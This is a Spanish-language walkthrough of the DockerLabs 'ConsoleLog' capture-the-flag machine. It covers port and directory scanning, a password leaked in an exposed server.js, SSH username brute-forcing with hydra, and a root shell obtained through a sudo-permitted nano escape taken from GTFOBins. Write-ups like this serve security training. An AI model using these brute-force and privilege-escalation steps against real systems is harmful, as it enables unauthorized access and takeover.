> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/consolelog.md).

# ConsoleLog

#### **Despliegue de la Máquina:**

**1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **ConsoleLog** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**2. Descompresión:**

Utilizamos la herramienta `7z` para extraer los archivos:

```bash
7z x consolelog.zip
```

<figure><img src="/files/wrj7iYvqmJLsrkmpu8Fw" alt=""><figcaption></figcaption></figure>

**3. Ejecución:**

Desplegamos el entorno en Docker con el siguiente comando:

```bash
bash auto_deploy.sh consolelog.tar
```

<figure><img src="/files/YzYeJ16uQQeXGH2RDW5E" alt=""><figcaption></figcaption></figure>

***

#### **Reconocimiento:**

**1. Verificación de Conectividad:**

Realizamos un `ping` para confirmar que la máquina está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/ijOQtAifNwVg3NGTQ6Pi" alt=""><figcaption></figcaption></figure>

**2. Escaneo de Puertos con `nmap`:**

Realizamos un escaneo rápido para identificar puertos abiertos:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -Pn -n 172.17.0.2 -oG allPorts
```

**Resultados:**

* **Puerto 80:** `HTTP`.
* **Puerto 3000:** `PPP`.
* **Puerto 5000:** `UPNP`.

<figure><img src="/files/NmUKc3OXuaLG1iszzpmu" alt=""><figcaption></figcaption></figure>

**3. Escaneo Detallado:**

Realizamos un escaneo detallado para identificar las versiones y los servicios activos en cada uno de los puertos detectados:

```bash
nmap -p80,3000,5000 -sCV 172.17.0.2 -oN targeted
```

<figure><img src="/files/Y2nEzfQhL3ttouBh7vdV" alt=""><figcaption></figcaption></figure>

**Resultados:**

* **Puerto 80 (HTTP):** Servidor web **Apache** - **versión 2.4.61**.
* **Puerto 3000:** Aplicación basada en Node.js, sin detalles adicionales disponibles.
* **Puerto 5000 (SSH):** Servicio **OpenSSH** - **versión 9.2p1**.

**4. Enumeración Web:**

**4.1. Puerto 3000:**

Al acceder al puerto 3000 mediante la URL `http://172.17.0.2:3000/`, se carga una página web que no presenta información relevante a simple vista.

<figure><img src="/files/HG5qhidLolnsSOYSitsl" alt=""><figcaption></figcaption></figure>

**4.2. Puerto 80:**

Al acceder al puerto 80 mediante la URL `http://172.17.0.2/`, se muestra una página web muy simple que contiene un único botón. Sin embargo, dicho botón no realiza ninguna acción aparente al interactuar con él, por lo que no proporciona información útil.

<figure><img src="/files/BTK6HfI6GU2vAqF2kuvq" alt=""><figcaption></figcaption></figure>

**4.2.1. Fuerza Bruta de Directorios y Archivos Ocultos:**

Para identificar posibles directorios y archivos ocultos, realizamos un escaneo utilizando `gobuster` con el siguiente comando:

```bash
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html
```

<figure><img src="/files/PgAVHxA7NKEcmLl6bLbI" alt=""><figcaption></figcaption></figure>

Encontramos varios directorios, pero el que más llama la atención es `/backend`, accesible en `http://172.17.0.2/backend/`.

<figure><img src="/files/vpwCSWfScfINLgQU46Jv" alt=""><figcaption></figcaption></figure>

Al acceder al archivo `server.js` en `http://172.17.0.2/backend/server.js`, encontramos lo que parece ser una posible contraseña para un usuario desconocido, que podría usarse para acceder por SSH.

<figure><img src="/files/iUdnYJrfjMpzGvNU4NUb" alt=""><figcaption></figcaption></figure>

***

#### **Explotación:**

**1. Fuerza Bruta con `hydra`:**

Utilizamos `hydra` para identificar al usuario asociado a la contraseña que hemos encontrado anteriormente:

```bash
hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -p lapassworddebackupmaschingonadetodas ssh://172.17.0.2:5000 -t 64
```

<figure><img src="/files/DTkHlJ3dSsJQC3BIiw3B" alt=""><figcaption></figcaption></figure>

**Credenciales obtenidas:**

* **Usuario:** `lovely`.
* **Contraseña:** `lapassworddebackupmaschingonadetodas`.

**2. Acceso por SSH:**

Nos conectamos al servicio SSH con las credenciales obtenidas:

```bash
ssh -p 5000 lovely@172.17.0.2
```

<figure><img src="/files/6QSRlffOzdVowW1DbeZP" alt=""><figcaption></figcaption></figure>

***

#### **Escalada de Privilegios:**

**1. Análisis de Permisos Sudo:**

Verificamos los comandos que el usuario `lovely` puede ejecutar con `sudo`.

<figure><img src="/files/WOLiqviwkioqb9cVwIN8" alt=""><figcaption></figcaption></figure>

**Resultado:**

```bash
(ALL) NOPASSWD: /usr/bin/nano
```

El usuario `lovely` puede ejecutar `nano` como `root` sin proporcionar contraseña.

**2. Explotación con `nano`:**

Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/nano/) para escalar privilegios, y nos indica que debemos ejecutar los siguientes comandos:

```bash
sudo nano
```

```bash
^R^X
```

```bash
reset; sh 1>&0 2>&0
```

<figure><img src="/files/MjHJ1jMQBxkHtYPcrT9O" alt=""><figcaption></figcaption></figure>

**Resultado:** Obtenemos una shell como `root`.
